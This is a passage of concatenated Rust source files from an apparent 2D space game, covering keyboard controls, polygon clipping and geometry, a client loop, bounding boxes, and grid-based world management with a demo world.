_view: &View) -> bool { match *event { Event::KeyDown { keycode: Some(keycode), .. } => { self.handle_key_event(keycode, true); } Event::KeyUp { keycode: Some(keycode), .. } => { self.handle_key_event(keycode, false); } Event::MouseButtonUp { .. } => { // let screen_coordinates = Vec3 { // x: x as f32, // y: y as f32, // z: 1.0, // }; // let grid_coordinates = // crate::math::lu::solve_lu(&view.last_grid_to_screen, screen_coordinates) // .into_cartesian(); // self.clicked = Some(grid_coordinates); } _ => return false, } true } fn handle_key_event(&mut self, keycode: Keycode, pressed: bool) { match keycode { Keycode::Left => { self.left = pressed; self.emit_acceleration_action(); } Keycode::A => { self.left = pressed; self.emit_acceleration_action(); } Keycode::Right => { self.right = pressed; self.emit_acceleration_action(); } Keycode::D => { self.right = pressed; self.emit_acceleration_action(); } Keycode::Up => { self.up = pressed; self.emit_acceleration_action(); } Keycode::W => { self.up = pressed; self.emit_acceleration_action(); } Keycode::Down => { self.down = pressed; self.emit_acceleration_action(); } Keycode::S => { self.down = pressed; self.emit_acceleration_action(); } Keycode::E => { self.rotate_left = pressed; self.emit_rotate_action(); } Keycode::Q => { self.rotate_right = pressed; self.emit_rotate_action(); } Keycode::F5 => { if pressed { self.action_queue.push(Action::SaveEntity) } } Keycode::F6 => { if pressed { self.action_queue.push(Action::LoadEntity { filename: "./data/entities/12094447930535717060".to_owned() }) } } _ => {} } } fn emit_acceleration_action(&mut self) { let mut direction = Vec2::default(); if self.left { direction += Vec2 { x: -1.0, y: 0.0 }; } if self.right { direction += Vec2 { x: 1.0, y: 0.0 }; } if self.up { direction += Vec2 { x: 0.0, y: -1.0 }; } if self.down { direction += Vec2 { x: 0.0, y: 1.0 }; } self.action_queue.push(Action::Accelerate { direction, throttle: if direction.length() > 0.0 { 1.0 } else { 0.0 }, }); } fn emit_rotate_action(&mut self) { let direction = if self.rotate_left { 1.0 } else if self.rotate_right { -1.0 } else { 0.0 }; self.action_queue.push(Action::Rotate { direction, throttle: direction.abs(), }); } } #[allow(dead_code)] pub enum Action { Accelerate { direction: Vec2<f32>, throttle: f32 }, Rotate { direction: f32, throttle: f32 }, UpdateShape { new_shape: Box<Polygon> }, JoinEntity { entity: Box<Entity> }, SaveEntity, LoadEntity { filename: String }, } <file_sep>/src/math/polygon.rs use super::line::Line; use super::segment::Segment; use super::vec::*; use gamemath::{Mat3, Vec2, Vec3}; use serde::{Deserialize, Serialize}; use serde_with::serde_as; use std::iter::Iterator; #[serde_as] #[derive(Clone, Debug, Serialize, Deserialize)] pub struct Polygon { /// Vertices of the polygon in homogeneous coordinates. #[serde_as(as = "Vec<Vec3Serde<f32>>")] pub points: Vec<Vec3<f32>>, } impl Polygon { pub fn is_empty(self: &Self) -> bool { self.points.is_empty() } pub fn to_segments(&self) -> Vec<Segment> { (0..self.points.len()) .map(|i1| { let i2 = (i1 + 1) % self.points.len(); Segment { a: self.points[i1].into_cartesian(), b: self.points[i2].into_cartesian(), } }) .collect() } pub fn intersection(self, right: Self) -> Vec<Self> { clipping::intersection(self, right) } pub fn intrude_point(self: &mut Self, point: Vec2<f32>) { let point_hom = point.into_homogeneous(); let distances: Vec<f32> = self .points .iter() .map(|p| (*p - point_hom).length()) .collect(); let min_distance = distances .iter() .fold(std::f32::MAX, |acc, d| if acc < *d { acc } else { *d }); if let Some(closest) = distances .iter() .position(|d| (*d - min_distance).abs() < std::f32::EPSILON) { let prev = (closest + self.points.len() - 1) % self.points.len(); let next = (closest + 1) % self.points.len(); let between = self.points[next] - self.points[prev]; let to_closest = self.points[closest] - self.points[prev]; let to_point = point_hom - self.points[prev]; let closest_position = to_closest.dot(between) / between.length(); let point_position = to_point.dot(between) / between.length(); let insert_to_index = if closest_position < point_position { next } else { closest }; self.points.insert(insert_to_index, point_hom); } } pub fn contains_point(&self, point: Vec2<f32>) -> bool { let mut is_in = false; let horizontal_line = Line::horizontal(point.y); for segment in self.to_segments() { if let Some(intersection) = segment.intersection_line(&horizontal_line) { if point == intersection { // on polygon edge return true; } if point.x < intersection.x { is_in = !is_in; } } } is_in } pub fn contains_polygon(&self, right: &Polygon) -> bool { right .points .iter() .all(|p| self.contains_point(p.into_cartesian())) } pub fn area_and_centroid(&self) -> (f32, Vec2<f32>) { let all = self.points.len(); let mut sum_area = 0.0; let mut sum = Vec2::default(); for i in 0..all { let this = self.points[i].into_cartesian(); let next = self.points[(i + 1) % all].into_cartesian(); let cross = this.x * next.y - this.y * next.x; sum_area += cross; sum += (this + next) * cross; } let area = sum_area / 2.0; let centroid = sum * (1.0 / area / 6.0); (area, centroid) } pub fn radius_of_gyration(&self, offset: Vec2<f32>) -> f32 { let all = self.points.len(); let mut sum = 0.0; for point in &self.points { let from_origin = point.into_cartesian() + offset; sum += from_origin.length(); } sum / (all as f32) * sum / (all as f32) } pub fn intersect_line_segment(&self, segment: Segment) -> Option<(f32, Vec2<f32>)> { let segment_direction = segment.direction(); let mut first_intersection = None; let mut min_alpha = -1.0; for edge in &self.to_segments() { if let Some((alpha_p, _alpha_q)) = segment.intersection(edge) { if first_intersection == None || alpha_p < min_alpha { min_alpha = alpha_p; first_intersection = Some(segment.a + segment_direction * alpha_p); } } } first_intersection.map(|int| (min_alpha, int)) } pub fn intercept_polygon( &self, poly: &Polygon, path: Vec2<f32>, ) -> Option<(f32, Vec<Vec2<f32>>)> { let mut intersections: Vec<Vec2<f32>> = Vec::new(); let mut min_alpha: f32 = -1.0; let mut on_new_intersection = |(alpha, intersection)| { if min_alpha < 0.0 || alpha < min_alpha { min_alpha = alpha; intersections = Vec::new(); } else if (alpha - min_alpha).abs() < std::f32::EPSILON { intersections.push(intersection); } }; for point in &poly.points { let point_cart = point.into_cartesian(); let segment = Segment::new(point_cart, point_cart + path); if let Some(int) = self.intersect_line_segment(segment) { on_new_intersection(int); } } let reverse_path = path * (-1.0); for point in &self.points { let point_cart = point.into_cartesian(); let segment = Segment::new(point_cart, point_cart + reverse_path); if let Some(int) = poly.intersect_line_segment(segment) { on_new_intersection(int); } } if min_alpha >= 0.0 { Some((min_alpha, intersections)) } else { None } } } impl From<Vec<Vec2<f32>>> for Polygon { fn from(points: Vec<Vec2<f32>>) -> Polygon { Polygon { points: points.iter().map(|p| p.into_homogeneous()).collect(), } } } impl From<&[[f32; 2]]> for Polygon { fn from(points: &[[f32; 2]]) -> Polygon { Polygon { points: points.iter().map(|p| Vec3::new(p[0], p[1], 1.0)).collect(), } } } impl std::ops::Mul<Polygon> for Mat3 { type Output = Polygon; fn mul(self, right: Polygon) -> Polygon { Polygon { points: right.points.iter().map(|p| self * *p).collect(), } } } pub fn construct_rect_poly(left: f32, right: f32, top: f32, bottom: f32) -> Polygon { Polygon::from(vec![ Vec2 { x: left, y: top }, Vec2 { x: left, y: bottom }, Vec2 { x: right, y: bottom, }, Vec2 { x: right, y: top }, ]) } pub fn construct_rect_poly_centered(width: f32, height: f32) -> Polygon { construct_rect_poly(-width / 2.0, width / 2.0, -height / 2.0, height / 2.0) } mod clipping { use crate::math::{polygon::Polygon, segment::Segment, vec::*}; use gamemath::{Vec2, Vec3}; use std::iter::Iterator; pub fn intersection(a_poly: Polygon, b_poly: Polygon) -> Vec<Polygon> { // Greiner–Hormann clipping algorithm // http://www.inf.usi.ch/hormann/papers/Greiner.1998.ECO.pdf if a_poly.is_empty() { return vec![b_poly]; } if b_poly.is_empty() { return vec![a_poly]; } let mut a = PolygonLinked::new(&a_poly); let mut b = PolygonLinked::new(&b_poly); let mut intersection_found = false; let mut a_end: usize = 0; loop { let a_start = a_end; a_end = a.find_forward_non_intersection(a.nodes[a_end].next); let a_edge = Segment::new(a.nodes[a_start].r, a.nodes[a_end].r); let mut b_end: usize = 0; loop { let b_start = b_end; b_end = b.find_forward_non_intersection(b.nodes[b_start].next); let b_edge = Segment::new(b.nodes[b_start].r, b.nodes[b_end].r); let intersection = a_edge.intersection(&b_edge); if let Some((alpha_a, alpha_b)) = intersection { let intersection_point = a_edge.a + (a_edge.direction() * alpha_a); intersection_found = true; let new_a_node = a.insert_intersection( intersection_point, a_start, Intersection { alpha: alpha_a, entry: false, neighbor: None, }, ); let new_b_node = b.insert_intersection( intersection_point, b_start, Intersection { alpha: alpha_b, entry: false, neighbor: Some(new_a_node), }, ); if let Some(int) = &mut a.nodes[new_a_node].intersection { int.neighbor = Some(new_b_node) } } if b_end == 0 { break; } } if a_end == 0 { break; } } if !intersection_found { if b_poly.contains_point(a.nodes[0].r) { return vec![b_poly]; } else if a_poly.contains_point(b.nodes[0].r) { return vec![a_poly]; } else { return vec![a_poly, b_poly]; } } { // figure out which intersection in poly a are entries into poly b let mut inside = b_poly.contains_point(a.nodes[0].r); let mut pos_a = 0; loop { if let Some(intersection) = &mut a.nodes[pos_a].intersection { inside = !inside; intersection.entry = inside; } pos_a = a.nodes[pos_a].next; if pos_a == 0 { break; } } } { // figure out which intersection in poly b are entries into poly a let mut inside = a_poly.contains_point(b.nodes[0].r); let mut pos_b = 0; loop { if let Some(intersection) = &mut b.nodes[pos_b].intersection { inside = !inside; intersection.entry = inside; } pos_b = b.nodes[pos_b].next; if pos_b == 0 { break; } } } let mut points: Vec<Vec3<f32>> = Vec::new(); let first_intersection = BiPolygonNode { index: a.find_forward_intersection(0), is_in_a: true, }; let mut current: BiPolygonNode = first_intersection; loop { let direction = current.get(&a, &b).intersection.as_ref().unwrap().entry; loop { let node = current.get(&a, &b); points.push(node.r.into_homogeneous()); current.step_to(if direction { node.prev } else { node.next }); if let Some(..) = current.get(&a, &b).intersection { break; } } current.step_over(&a, &b); if current == first_intersection { break; } } return vec![Polygon { points: points }]; } /// Reference to a node in one of two polygons #[derive(PartialEq, Clone, Copy)] struct BiPolygonNode { index: usize, is_in_a: bool, } impl BiPolygonNode { fn get<'a>(&self, a: &'a PolygonLinked, b: &'a PolygonLinked) -> &'a PolygonLinkedNode { let poly = if self.is_in_a { a } else { b }; &poly.nodes[self.index] } fn step_over(&mut self, a: &PolygonLinked, b: &PolygonLinked) { self.index = self .get(a, b) .intersection .as_ref() .unwrap() .neighbor .unwrap(); self.is_in_a = !self.is_in_a; } fn step_to(&mut self, index: usize) { self.index = index; } } struct Intersection { neighbor: Option<usize>, alpha: f32, entry: bool, } struct PolygonLinkedNode { r: Vec2<f32>, this: usize, next: usize, prev: usize, intersection: Option<Intersection>, } #[derive(Default)] struct PolygonLinked { nodes: Vec<PolygonLinkedNode>, } impl PolygonLinked { fn new(polygon: &Polygon) -> PolygonLinked { let mut this = PolygonLinked { nodes: Vec::with_capacity(polygon.points.len()), }; let all = polygon.points.len(); for (index, point) in polygon.points.iter().enumerate() { let node = PolygonLinkedNode { r: point.into_cartesian(), this: index, next: (index + 1) % all, prev: (index + all - 1) % all, intersection: None, }; this.nodes.push(node); } this } fn insert_intersection( &mut self, r: Vec2<f32>, position: usize, intersection: Intersection, ) -> usize { let aligned_position = self.align_intersection_alpha(position, intersection.alpha); let node_index = self.nodes.len(); let mut insert_after = &mut self.nodes[aligned_position]; let node = PolygonLinkedNode { r, this: node_index, next: insert_after.next, prev: insert_after.this, intersection: Some(intersection), }; insert_after.next = node.this; self.nodes[node.next].prev = node.this; self.nodes.push(node); node_index } fn align_intersection_alpha(&mut self, index: usize, alpha: f32) -> usize { let mut insert_after = &self.nodes[index]; while let Some(intersection) = &insert_after.intersection { if intersection.alpha <= alpha { break; } insert_after = &self.nodes[insert_after.prev]; } while let Some(intersection) = &self.nodes[insert_after.next].intersection { if intersection.alpha >= alpha { break; } insert_after = &self.nodes[insert_after.next]; } insert_after.this } fn find_forward<P>(&self, start: usize, predicate: P) -> usize where P: Fn(&PolygonLinkedNode) -> bool, { let mut node = &self.nodes[start]; while !predicate(node) { node = &self.nodes[node.next]; } node.this } fn find_forward_non_intersection(&self, start: usize) -> usize { self.find_forward(start, |node| node.intersection.is_none()) } fn find_forward_intersection(&self, start: usize) -> usize { self.find_forward(start, |node| node.intersection.is_some()) } } } <file_sep>/src/client.rs use crate::world::{Entity, World}; use crate::math::lu::solve_lu; use crate::math::vec::*; use crate::render::{render, View}; use crate::ui::hud::Hud; use crate::ui::user_controls::{Action, UserControls}; use gamemath::Vec2; use sdl2::event::Event; use sdl2::render::{Canvas, RenderTarget}; pub struct Client { pub view: View, hud: Hud, user_controls: UserControls, controlled_entity: EntityId, } #[derive(Clone, Copy)] pub struct EntityId { pub entity_id: u64, pub grid_id: u64, } impl EntityId { pub fn new(grid_id: u64, entity_id: u64) -> Self { EntityId { grid_id, entity_id } } } impl Client { pub fn new(resolution: Vec2<f32>, controlled_entity: EntityId) -> Self { Client { view: View::new(resolution, controlled_entity), hud: Hud::new(resolution), user_controls: UserControls::default(), controlled_entity, } } pub fn load(&mut self) { self.hud.load_saved_entities(self.view.size); } pub fn tick(&mut self, world: &mut World) { self.controlled_entity = world.find_entity(&self.controlled_entity); self.view.tick(); self.hud.tick(world, self.controlled_entity); let actions = self .user_controls .poll_actions() .chain(self.hud.poll_actions()); for action in actions { let action = Client::map_action(&self.view, action); if let Action::LoadEntity { filename } = action { Client::spawn_entity(world, filename, self.controlled_entity); } else if let Some(entity) = world.get_entity_mut(&self.controlled_entity) { entity.apply_action(action); } } } fn map_action(view: &View, a: Action) -> Action { let invert_transform = view.last_grid_to_screen; match a { Action::JoinEntity { mut entity } => { entity.position.state = solve_lu(&invert_transform, entity.position.state.into_homogeneous()) .into_cartesian(); Action::JoinEntity { entity } } _ => a, } } fn spawn_entity(world: &mut World, filename: String, controlling: EntityId) { if let Ok(entity) = Entity::load_from_file(filename.into()) { if let Some(grid) = world.grids.get_mut(&controlling.grid_id) { let position = grid .get_entity(controlling.entity_id) .map(|e| e.position.state) .unwrap_or_default(); grid.spawn_entity(position, entity); } } } pub fn render<T: RenderTarget>(&mut self, world: &World, canvas: &mut Canvas<T>) { render(&world, &self.controlled_entity, &mut self.view, canvas); self.hud.render(canvas); } pub fn handle_event(&mut self, event: &Event) -> bool { self.hud.handle_event(event) || self.user_controls.handle_event(event, &self.view) } } <file_sep>/src/math/bounding_box.rs use super::polygon::Polygon; use super::vec::*; use crate::world::Grid; use gamemath::{Mat3, Vec2}; #[derive(Default)] pub struct RectBounds { pub top_left: Vec2<f32>, pub bottom_right: Vec2<f32>, } impl RectBounds { pub fn size(&self) -> f32 { (self.top_left - self.bottom_right).length() } pub fn new(vec: Vec2<f32>) -> RectBounds { RectBounds { top_left: vec, bottom_right: vec, } } pub fn polygon(&self) -> Polygon { Polygon { points: vec![ self.top_left, Vec2::new(self.top_left.x, self.bottom_right.y), self.bottom_right, Vec2::new(self.bottom_right.x, self.top_left.y), ] .iter() .map(|p| p.into_homogeneous()) .collect(), } } pub fn expand(mut self, value: f32) -> RectBounds { self.top_left -= value.into(); self.bottom_right += value.into(); self } } impl std::ops::AddAssign<Vec2<f32>> for RectBounds { fn add_assign(&mut self, right: Vec2<f32>) { self.top_left = min(self.top_left, right); self.bottom_right = max(self.bottom_right, right); } } impl std::ops::AddAssign<RectBounds> for RectBounds { fn add_assign(&mut self, right: RectBounds) { *self += right.bottom_right; *self += right.top_left; } } pub trait BoundingBox { fn bounding_box_transformed(&self, position: &Mat3) -> RectBounds; fn bounding_box(&self) -> RectBounds { self.bounding_box_transformed(&Mat3::default()) } } impl BoundingBox for Polygon { fn bounding_box_transformed(&self, position: &Mat3) -> RectBounds { let mut bounds = RectBounds::new(self.points[0].into_cartesian()); for point in &self.points { bounds += (*position * *point).into_cartesian(); } bounds } } impl BoundingBox for Grid { fn bounding_box_transformed(&self, position: &Mat3) -> RectBounds { let mut bounds = RectBounds::new(0.0.into()); for entity in &self.entities { let entity_position = *position * translation(entity.position.state) * Mat3::rotation(entity.angle.state); bounds += entity.shape.bounding_box_transformed(&entity_position); } bounds } } <file_sep>/src/world/grid.rs use super::{Entity, Insist, Thruster}; use crate::client::EntityId; use crate::math::{ bounding_box::{BoundingBox, RectBounds}, polygon::{construct_rect_poly_centered, Polygon}, vec::*, }; use gamemath::Vec2; use std::collections::HashMap; use std::ops::Add; const GRID_SPLIT_DISTANCE: f32 = 500.0; const GRID_JOIN_DISTANCE: f32 = GRID_SPLIT_DISTANCE * 0.5; #[derive(Debug)] pub struct Grid { id: u64, parent: Option<GridRelation>, children: Vec<u64>, pub entities: Vec<Entity>, } impl Grid { pub fn new(parent: Option<GridRelation>, entities: Vec<Entity>) -> Self { use rand::RngCore; let mut rng = rand::thread_rng(); Grid { id: rng.next_u64(), parent, children: Vec::new(), entities, } } pub fn get_entity_mut(&mut self, entity_id: u64) -> Option<&mut Entity> { for entity in &mut self.entities { if entity.get_id() == entity_id { return Some(entity); } } None } pub fn get_entity(&self, entity_id: u64) -> Option<&Entity> { for entity in &self.entities { if entity.get_id() == entity_id { return Some(entity); } } None } pub fn spawn_entity(&mut self, position: Vec2<f32>, mut entity: Entity) { let bounds = self.bounding_box(); let closest_edge = bounds .polygon() .to_segments() .iter() .map(|segment| { let alpha = segment.project_point(position); let perpendicular = ((segment.direction() * alpha) + segment.a) - position; let distance = perpendicular.length(); (perpendicular, distance) }) .min_by(|x, y| x.1.partial_cmp(&y.1).unwrap_or(std::cmp::Ordering::Equal)) .map(|x| x.0); if let Some(closest_edge) = closest_edge { let entity_bounds = entity.shape.bounding_box(); let entity_size = entity_bounds.bottom_right - entity_bounds.top_left; let direction = closest_edge.normalized(); let offset = Vec2::new(direction.x * entity_size.x, direction.y * entity_size.y); let entity_position = closest_edge + offset + position; entity.position.state = entity_position; entity.position.velocity = Vec2::default(); self.entities.push(entity); } } fn get_common_insist(&self) -> Insist<Vec2<f32>> { Insist::get_common(self.entities.iter().map(|e| &e.position).collect()) } fn offset_entities(&mut self, insist: Insist<Vec2<f32>>) { for entity in &mut self.entities { entity.position += insist; } } pub fn tick_parent_relation(&mut self) { if let Some(p) = &mut self.parent { p.position.state += p.position.velocity; } } fn should_split(&self) -> bool { let mut bounding_box = RectBounds::default(); for entity in &self.entities { bounding_box += entity.position.state; } bounding_box.size() > GRID_SPLIT_DISTANCE } fn split_by_position(&mut self) -> Option<Grid> { let all = self.entities.len(); if all < 2 { return None; } let (a, b) = self.get_most_distanced_entities(); let (parent_entities, child_entities) = Grid::segment_to_closest(&mut self.entities, a, b); self.entities = parent_entities; Some(Grid::new(Some(GridRelation::new(self.id)), child_entities)) } fn segment_to_closest( entities: &mut Vec<Entity>, a: usize, b: usize, ) -> (Vec<Entity>, Vec<Entity>) { let a_position = entities[a].position.state; let b_position = entities[b].position.state; let mut a_entities: Vec<Entity> = vec![]; let mut b_entities: Vec<Entity> = vec![]; while !entities.is_empty() { let entity = entities.pop().unwrap(); let dist_a = (entity.position.state - a_position).length(); let dist_b = (entity.position.state - b_position).length(); if dist_a < dist_b { a_entities.push(entity); } else { b_entities.push(entity); } } if a_entities.len() <= b_entities.len() { (a_entities, b_entities) } else { (b_entities, a_entities) } } fn get_most_distanced_entities(&self) -> (usize, usize) { let all = self.entities.len(); // find the two most distanced entities let mut max_dist = -1.0; let mut a = 0; let mut b = 0; for i in 0..all { for j in (i + 1)..all { let dist = (self.entities[i].position.state - self.entities[j].position.state).length(); if dist > max_dist { max_dist = dist; a = i; b = j; } } } (a, b) } // /// Reorganizes the graph of grids such that every grid is child or parent to its closest grid. // /// O(n^2) // pub fn relink(&mut self) { // self.steal_children(&Vec::new()); // } // fn steal_children(&mut self, ancestors: &[GridRelationWeak]) -> Vec<GridTransfer> { // let mut descendant_transfers = Vec::new(); // let relation_to_parent = self.relation_to_parent.unwrap_or_default(); // let relations: Vec<GridRelationWeak> = ancestors // .iter() // .map(|r| r.clone().offset_relation(relation_to_parent)) // .chain(Some(GridRelationWeak::new(self.id)).into_iter()) // .collect(); // for child in &mut self.children { // descendant_transfers.extend(child.steal_children(&relations)); // } // let (to_me, to_ancestors): (Vec<GridTransfer>, Vec<GridTransfer>) = descendant_transfers // .into_iter() // .partition(|t| t.to_id == self.id); // self.children.extend(to_me.into_iter().map(|t| t.grid)); // let mut transfers_to_ancestors = to_ancestors; // let mut closer_to_me: Vec<Grid> = Vec::with_capacity(self.children.len()); // while !self.children.is_empty() { // let mut child = self.children.pop().unwrap(); // let to_me = child.relation_to_parent.unwrap(); // let mut min_distance = to_me; // let mut min_ancestor: Option<u64> = None; // for ancestor in ancestors { // let to_ancestor = ancestor.relation // + self.relation_to_parent.unwrap_or_default() // + child.relation_to_parent.unwrap_or_default(); // if to_ancestor.length_squared().state < min_distance.length_squared().state { // min_distance = to_ancestor; // min_ancestor = Some(ancestor.grid_id); // } // } // if let Some(ancestor) = min_ancestor { // child.relation_to_parent = Some(min_distance); // transfers_to_ancestors.push(GridTransfer { // grid: child, // to_id: ancestor, // }) // } else { // closer_to_me.push(child); // } // } // self.children.extend(closer_to_me); // transfers_to_ancestors // } // pub fn get_relations<'a>(&'a self, relation: Insist<Vec2<f32>>) -> Vec<GridRelation<'a>> { // let mut res = Vec::new(); // res.push(GridRelation { // relation, // grid: self, // }); // for child in &self.children { // if let Some(relation_to_parent) = child.relation_to_parent { // let child_relation = relation_to_parent + relation; // res.extend(child.get_descendant_relations(child_relation).into_iter()) // } // } // res // } } pub struct World { pub grids: HashMap<u64, Grid>, } impl World { pub fn grid_ids(&self) -> Vec<u64> { self.grids.keys().copied().collect() } pub fn absorb_common_insist(&mut self, focused_grid: u64) -> Option<Insist<Vec2<f32>>> { let mut res = None; for grid_id in &self.grid_ids() { let insist = self.grids[grid_id].get_common_insist(); if insist.length_squared().is_zero() { continue; } let children; { let grid = self.grids.get_mut(grid_id).unwrap(); grid.offset_entities(-insist); if let Some(p) = &mut grid.parent { p.position += -insist; } children = grid.children.clone(); } for child_id in &children { let child = self.grids.get_mut(child_id).unwrap(); if let Some(p) = &mut child.parent { p.position += insist; } } if grid_id == &focused_grid { res = Some(insist); } } res } pub fn split_grids(&mut self) { let mut new_grids = Vec::new(); for grid in &mut self.grids.values_mut() { if grid.should_split() { if let Some(new_grid) = grid.split_by_position() { new_grids.push(new_grid); } } } for grid in new_grids { self.add_grid(grid); } } pub fn add_grid(&mut self, grid: Grid) { let own_id = grid.id; let parent_id = grid.parent.as_ref().map(|p| p.id).unwrap(); self.grids.insert(own_id, grid); let parent = self.grids.get_mut(&parent_id).unwrap(); parent.children.push(own_id); } pub fn join_grids(&mut self) { let first_grid = self.grids.iter().next().map(|g| *g.0).unwrap(); let relations = self.get_relations(first_grid, Insist::default()); for relation in &relations { let join_with = relations .iter() .filter(|r| r.id != relation.id) .filter(|r| self.grids.contains_key(&r.id)) .map(|r| { let relative = r.position + -relation.position; (r.id, relative, relative.state.length()) }) .filter(|r| r.2 < GRID_JOIN_DISTANCE) .min_by(|a, b| a.2.partial_cmp(&b.2).unwrap_or(std::cmp::Ordering::Equal)); if let Some(join_with) = join_with { if let Some(mut grid) = self.remove_grid(relation.id) { for c in &mut grid.entities { c.position += -join_with.1; } let parent = &mut self.grids.get_mut(&join_with.0).unwrap(); parent.entities.extend(grid.entities); } } } } pub fn remove_grid(&mut self, grid: u64) -> Option<Grid> { if let Some(mut grid) = self.grids.remove(&grid) { let new_parent = grid.parent.clone().or_else(|| { if grid.children.is_empty() { return None; } let first_child = self.grids.get_mut(&grid.children.pop().unwrap()).unwrap(); let position = first_child.parent.as_ref().unwrap().position; first_child.parent = None; Some(GridRelation { id: first_child.id, position, }) }); if let Some(new_parent) = new_parent { if let Some(p) = &mut self.grids.get_mut(&new_parent.id) { if let Some(child_index) = p.children.iter().position(|c| c == &grid.id) { p.children.remove(child_index); } p.children.extend(grid.children.clone()); } for c in &grid.children { if let Some(c) = &mut self.grids.get_mut(&c) { c.parent = Some(new_parent.clone() + c.parent.as_ref().unwrap().position); } } Some(grid) } else { None } } else { None } } pub fn get_relations(&self, grid_id: u64, position: Insist<Vec2<f32>>) -> Vec<GridRelation> { if let Some(p) = &self.grids[&grid_id].parent { self.get_relations(p.id, position + p.position) } else { self.get_descendant_relations(grid_id, position) } } fn get_descendant_relations(&self, id: u64, position: Insist<Vec2<f32>>) -> Vec<GridRelation> { let mut res = Vec::new(); res.push(GridRelation { position, id }); for child_id in self.grids[&id].children.clone() { let child_position = position + self.grids[&child_id] .parent .as_ref() .map(|p| -p.position) .unwrap_or_default(); res.extend(self.get_descendant_relations(child_id, child_position)); } res } #[allow(dead_code)] pub fn get_relation_between( &self, a: u64, b: u64, relation: Insist<Vec2<f32>>, ) -> Insist<Vec2<f32>> { if let Some(p) = &self.grids[&a].parent { self.get_relation_between(p.id, b, relation + p.position) } else if let Some(p) = &self.grids[&b].parent { self.get_relation_between(p.id, b, relation + p.position) } else { relation } } pub fn find_entity(&self, id: &EntityId) -> EntityId { if self .grids .get(&id.grid_id) .map(|g| g.get_entity(id.entity_id)) .flatten() .is_some() { return *id; } // entity may have changed grid, search all grids for grid in self.grids.values() { if let Some(entity) = grid.get_entity(id.entity_id) { return EntityId { grid_id: grid.id, entity_id: entity.get_id(), }; } } panic!("cannot find controlled entity"); } pub fn get_entity_mut<'a>(&'a mut self, id: &EntityId) -> Option<&'a mut Entity> { self.grids .get_mut(&id.grid_id) .unwrap() .get_entity_mut(id.entity_id) } } #[derive(Clone, Debug)] pub struct GridRelation { pub position: Insist<Vec2<f32>>, pub id: u64, } impl GridRelation { pub fn new(id: u64) -> Self { GridRelation { id, position: Insist::default(), } } } impl Add<Insist<Vec2<f32>>> for GridRelation { type Output = GridRelation; fn add(self, right: Insist<Vec2<f32>>) -> Self { GridRelation { id: self.id, position: self.position + right, } } } impl PartialEq<Grid> for Grid { fn eq(&self, right: &Grid) -> bool { self.id == right.id } } impl PartialEq<u64> for Grid { fn eq(&self, right: &u64) -> bool { self.id == *right } } #[allow(dead_code)] pub fn construct_demo_world() -> World { let mut grids = HashMap::new(); { let mut grid = Grid::new(None, Vec::new()); let a = construct_rect_poly_centered(50.0, 70.0); let _b = Polygon::from(vec![ Vec2 { x: 11.0, y: -68.0 }, Vec2 { x: -3.0, y: -49.0 }, Vec2 { x: -20.0, y: -54.0 }, Vec2 { x: -25.0, y: -35.0 }, Vec2 { x: -33.0, y: 1.0 }, Vec2 { x: -25.0, y: 35.0 }, Vec2 { x: -8.0, y: 53.0 }, Vec2 { x: 25.0, y: 35.0 }, Vec2 { x: 17.0, y: 21.0 }, Vec2 { x: 41.0, y: 6.0 }, Vec2 { x: 42.0, y: -20.0 }, Vec2 { x: 25.0, y: -35.0 }, ]); let _c = Polygon::from(vec![ Vec2 { x: 146.0, y: 129.0 }, Vec2 { x: 144.0, y: 122.0 }, Vec2 { x: 148.0, y: 102.0 }, Vec2 { x: 143.0, y: 105.0 }, Vec2 { x: 136.0, y: 111.0 }, Vec2 { x: 132.0, y: 110.0 }, Vec2 { x: 125.0, y: 112.0 }, Vec2 { x: 95.0, y: 94.0 }, Vec2 { x: 108.0, y: 106.0 }, Vec2 { x: 125.0, y: 115.0 }, Vec2 { x: 129.0, y: 119.0 }, Vec2 { x: 128.0, y: 119.0 }, Vec2 { x: 124.0, y: 129.0 }, Vec2 { x: 125.0, y: 135.0 }, Vec2 { x: 122.0, y: 145.0 }, Vec2 { x: 109.0, y: 161.0 }, Vec2 { x: 111.0, y: 134.0 }, Vec2 { x: 112.0, y: 133.0 }, Vec2 { x: 107.0, y: 137.0 }, Vec2 { x: 102.0, y: 129.0 }, Vec2 { x: 75.0, y: 135.0 }, Vec2 { x: 73.0, y: 135.0 }, Vec2 { x: 73.0, y: 111.0 }, Vec2 { x: 66.0, y: 98.0 }, Vec2 { x: 72.0, y: 84.0 }, Vec2 { x: 66.0, y: 57.0 }, Vec2 { x: 75.0, y: 65.0 }, Vec2 { x: 89.0, y: 69.0 }, Vec2 { x: 89.0, y: 66.0 }, Vec2 { x: 93.0, y: 52.0 }, Vec2 { x: 120.0, y: 65.0 }, Vec2 { x: 125.0, y: 72.0 }, Vec2 { x: 123.0, y: 70.0 }, Vec2 { x: 121.0, y: 55.0 }, Vec2 { x: 123.0, y: 54.0 }, Vec2 { x: 110.0, y: 53.0 }, Vec2 { x: 118.0, y: 53.0 }, Vec2 { x: 125.0, y: 45.0 }, Vec2 { x: 97.0, y: 32.0 }, Vec2 { x: 81.0, y: 19.0 }, Vec2 { x: 112.0, y: 22.0 }, Vec2 { x: 130.0, y: 26.0 }, Vec2 { x: 147.0, y: 31.0 }, Vec2 { x: 135.0, y: 3.0 }, Vec2 { x: 156.0, y: 4.0 }, Vec2 { x: 161.0, y: 12.0 }, Vec2 { x: 170.0, y: 19.0 }, Vec2 { x: 179.0, y: 19.0 }, Vec2 { x: 199.0, y: 23.0 }, Vec2 { x: 181.0, y: -18.0 }, Vec2 { x: 206.0, y: -18.0 }, Vec2 { x: 226.0, y: -2.0 }, Vec2 { x: 230.0, y: 7.0 }, Vec2 { x: 216.0, y: 32.0 }, Vec2 { x: 208.0, y: 38.0 }, Vec2 { x: 245.0, y: 71.0 }, Vec2 { x: 231.0, y: 63.0 }, Vec2 { x: 213.0, y: 74.0 }, Vec2 { x: 212.0, y: 60.0 }, Vec2 { x: 238.0, y: 48.0 }, Vec2 { x: 188.0, y: 34.0 }, Vec2 { x: 176.0, y: 44.0 }, Vec2 { x: 175.0, y: 45.0 }, Vec2 { x: 178.0, y: 56.0 }, Vec2 { x: 173.0, y: 62.0 }, Vec2 { x: 176.0, y: 68.0 }, Vec2 { x: 175.0, y: 90.0 }, Vec2 { x: 171.0, y: 81.0 }, Vec2 { x: 174.0, y: 80.0 }, Vec2 { x: 165.0, y: 50.0 }, Vec2 { x: 151.0, y: 49.0 }, Vec2 { x: 149.0, y: 60.0 }, Vec2 { x: 138.0, y: 54.0 }, Vec2 { x: 133.0, y: 51.0 }, Vec2 { x: 130.0, y: 52.0 }, Vec2 { x: 130.0, y: 53.0 }, Vec2 { x: 139.0, y: 57.0 